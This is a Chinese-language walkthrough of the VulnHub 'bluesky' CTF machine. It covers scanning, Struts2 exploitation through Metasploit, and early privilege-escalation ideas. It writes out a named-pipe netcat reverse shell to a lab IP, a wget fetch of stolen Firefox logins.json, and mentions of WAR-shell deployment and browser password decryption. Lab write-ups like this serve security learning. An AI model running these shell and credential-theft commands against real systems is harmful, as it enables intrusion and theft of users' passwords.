16. bluesky 靶机

靶场地址：https://www.vulnhub.com/entry/bluesky-1,623/

writeup 参考：https://zhuanlan.zhihu.com/p/353633797

简介

总结：

dirsearch 字典中没有框架信息，例如 struts2-showcase 目录。所以就不知道有这个框架。

在 github 常见字典没找到。

burp scanner 也没跑出来。

只能收集，添加。
获取 shell 后，不知道哪些文件是敏感文件。
可以通过获取 tomcat manage 密码，部署 war shell。
火狐浏览器密码解密。

https://github.com/lclevy/firepwd

lazagne 是一个集合，但必须直接上传到目标网站运行。

通过 python 模块传递文件。

python -m http.server 6666

wget http://192.168.200.132:6666/logins.json

新的反弹 shell 方式：

# target
mknod /tmp/mypipe p
/bin/bash 0</tmp/mypipe | nc 192.168.200.128 6666 1>/tmp/mypipe

# me
nc -lp 6666

探测端口及服务

首先，使用 nmap 扫描目标，看开放哪些端口。

发现开放两个端口，再使用脚本探测其版本

寻找已知exp

openssh

searchsploit 搜索一下版本，看是否有什么漏洞。

除了用户名枚举外，没什么值得注意的漏洞。此处可以尝试弱口令，但不要抱太大希望，先放放，后面如果没有思路可以尝试尝试。

tomcat

接下来搜索 tomcat 是否存在已知漏洞。

唯一有点关联的就是这个，但下载下来仔细一看，版本不符合。

web 渗透

接下来进入网页中尝试看看有没有什么网页功能可以利用。

先用 dirsearch 扫一下目录，发现没有多少值得注意的。

没思路，看下 writeup ，说此处存在 struts2 框架。

看了下 dirsearch 字典，里面的确没有，扫不出来。

在网上找了一下是否有框架类字典，发现 SecLists 、 Fuzzdb 等主流字典中都没有框架字典。

用 vulmap 扫是否存在 struts2 漏洞。

看来是存在漏洞，接下来直接利用。

先看 msf 中是否有exp，有，就直接利用。若没有，则用searchsploit 。

设置完成后直接运行。成功获取 shell

提权

先使用命令查看基本信息，

uname -a
id 
groups
cat /etc/passwd

只发现当前用户在 sudo 组。

再看看当前用户目录下文件。

.bash_history   
.sudo_as_admin_successful   # 说明用户有 sudo 权限。
.viminfo 其中有
	/usr/local/tomcat/conf/tomcat-users.xml   #有tomcat 用户及密码
		根据这个密码，如果tomcat 有高权限的话，一样能干事。尝试 ps -ef | grep tomcat 看tomcat 是否以root 用户运行？结果并非root

user.txt
	提醒我们要获取root 权限